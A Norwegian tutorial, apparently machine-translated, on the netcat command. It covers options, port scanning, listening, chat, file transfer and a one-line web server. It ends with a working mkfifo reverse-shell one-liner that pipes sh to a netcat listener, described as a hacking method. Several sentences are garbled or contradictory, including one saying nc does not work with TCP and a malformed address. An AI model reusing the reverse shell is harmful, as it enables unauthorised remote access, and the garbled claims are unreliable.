Kommandoen netcat
er nødvendig for å sende og motta data ved hjelp av TCP- og UDP-protokollene. Den har ikke så mange funksjoner, men den er tilstrekkelig for tilkoblingskontroll og enkel feilsøking. Hvordan kommuniserer man via TCP-protokollen? Dette spørsmålet blir stilt av mange brukere. I denne artikkelen vil vi svare på dette spørsmålet og også vise eksempler på reell bruk av kommandoen.
Kommandoen netcat
(eller nc
) er et kraftig verktøy for å arbeide med nettverkstilkoblinger. Den brukes ofte av systemadministratorer og utviklere til ulike oppgaver. Her er de viktigste funksjonene og egenskapene til netcat
:
netcat
er et allsidig verktøy som kan brukes i en rekke ulike scenarier, fra enkle meldinger til komplekse nettverksoperasjoner.
La oss begynne med å se på syntaksen og de mest populære:
-6 -
bruk IPv6-protokollen. Standardinnstillingen er henholdsvis -4 og IPv4;-h
- viser hjelp med listen over tilgjengelige parametere;-i
- delay - legg til forsinkelse mellom sending av strenger eller skanning av porter. Den angis i sekunder;-l
- lyttemodus. Brukes med portspesifikasjon;-N
- lukk forbindelsen når slutten av filen er nådd når du sender den;-n
- Arbeid med IP-adresser direkte uten DNS, deaktiver også portskanning;-P
- user_name - angir brukernavnet for å koble til proxyen;-x
- address:port - angir adresse og port for å koble til proxyen;-p
- port - angir portnummer. I de fleste tilfeller leses porten uten å spesifisere parameteren;-U
- bruk UNIX-domenesocket (for kommunikasjon mellom prosesser);-u
- bruk UDP-protokollen, som standard brukes TCP;-v
- detaljert modus. Brukes ved skanning;-W
number_packets - stenger forbindelsen etter å ha mottatt et visst antall pakker;-w
timer - aktiver timer for å begrense tilkoblingstiden. Den er angitt i sekunder;-z
- deaktiverer sending av data. Den brukes under skanning.Kommandoen har følgende form (parametere portadresse):
$ nc
Neste vil vi fortelle deg hvordan du bruker kommandoen.
Kontroll er den viktigste bruken av netcat
. Du bør bruke to parametere -vz
, spesifiser adresse og port. Du kan angi en rekke adresser, men i dette tilfellet er det bedre å sile bare åpne porter med kommandoengrep
. La oss skanne portene til den lokale nettverksadressen:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
På samme måte skanner vi UDP-porter ved å legge til parameteren -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Du bør vite hovedforskjellen mellom TCP og UDP. Så i UDP-porter er alltid tilgjengelige.
Parameteren -l
er ment for å lytte til porten. Det er ofte nok, men du kan aktivere detaljert modus:
$ nc -nlv 8080
Husk at når du bruker TCP-protokollen, må porten være fri, ellers vil feilen allerede i bruk vises. Ikke alle porter kan brukes av vanlige brukere, for eksempel port 80 (HTTP), mest sannsynlig vil den være okkupert av en annen prosess og vil kreve superbrukerrettigheter.
En nyttig funksjon ved kommandoen er datautveksling. Et enkelt eksempel er et tekstchatterom. For å starte en chat på én datamaskin, kjører du verktøyet i portlyttemodus:
$ nc -lp 8080
På den andre datamaskinen må du spesifisere adressen til den første datamaskinen og den samme porten. Ikke glem å sjekke at porten er åpen:
$ nc 0.0.0.0 8080
På denne måten vil du kunne sende og motta meldinger. Det vil si at kommandoen er beregnet for filutveksling. Prinsippet er det samme, bortsett fra at det er nødvendig å omdirigere utdataene til en fil, nemlig paste.txt
:
$ nc -l 8080 > paste.txt
På den andre PC-en vil copy.t
xt-filen fungere som input. Det er ikke overflødig å bruke parameteren -N
for å lukke forbindelsen etter filoverføringen:
$ nc -N 0.0.0.0 8080 < copy.txt
For filoverføring er det viktig å følge rekkefølgen, først åpne lytting og først deretter sende filen. nc-kommandoen er en fungerende, men langt fra den beste måten å overføre filer på. Det finnes mer effektive og nyttige verktøy for denne oppgaven.
Siden NC-kommandoen ikke fungerer med TCP-protokollen, kan den både sende og motta HTTP-forespørsler. Verktøyet kan derfor bli en enkel webserver. Ja, du kan ikke gjøre noe vanskeligere enn en tom side på denne måten, men operasjonen tar nesten ingen tid, og plusset er at du ikke trenger å installere noe ekstra.
På eksempelskjemaet HTTP-respons med filen index.html.
Når vi snakker om np selv, er det en god idé å stille inn en tidtaker med parameteren -w 1
for å bryte forbindelsen hvis nettleseren ikke gjør det:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
For å hente data fra et nettsted kan du danne en forespørsel og sende den til den oppgitte adressen og porten. Men denne måten er ganske komplisert, det er bedre å bruke den riktige CURL-kommandoen.
Basert på eksemplene som er diskutert ovenfor, vil det ikke være vanskelig å konkludere med at kommandoen lar deg organisere ekstern tilgang til skallet på datamaskinen. Tidligere hadde NC-verktøyet flere parametere for å åpne tilgang til terminalen. Parameteren -e
er fjernet fra verktøyet for lenge siden, så det vil ikke være noen enkel tilgang til terminalen lenger. Sikkerheten i selve applikasjonen har blitt høyere, men den kan fortsatt fungere sammen med andre.
La oss vise forbindelsen ved hjelp av den navngitte kanalen mkfifo. La oss først og fremst begynne å lytte til porten på PC-en der vi får tilgang:
$ nc -lvnp 8080
La oss gå direkte til kommandoen for å åpne terminalen. Slett først den gamle navngitte kanalen(rm /tmp/f)
, opprett en ny i stedet(mkfifo /
tmp/f), les innholdet(cat /
tmp/f) og send en skallkommando til utgangen(sh -i 2>&1
). Etter det gjenstår det å kjøre nc med utdata til vår navngitte kanal(nc 0.0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Husk at dette er én måte å hacke på, men det kan være nyttig hvis det er problemer med ssh
. For å forhindre angrepet må du konfigurere en sikkerhetspolicy og brannmur.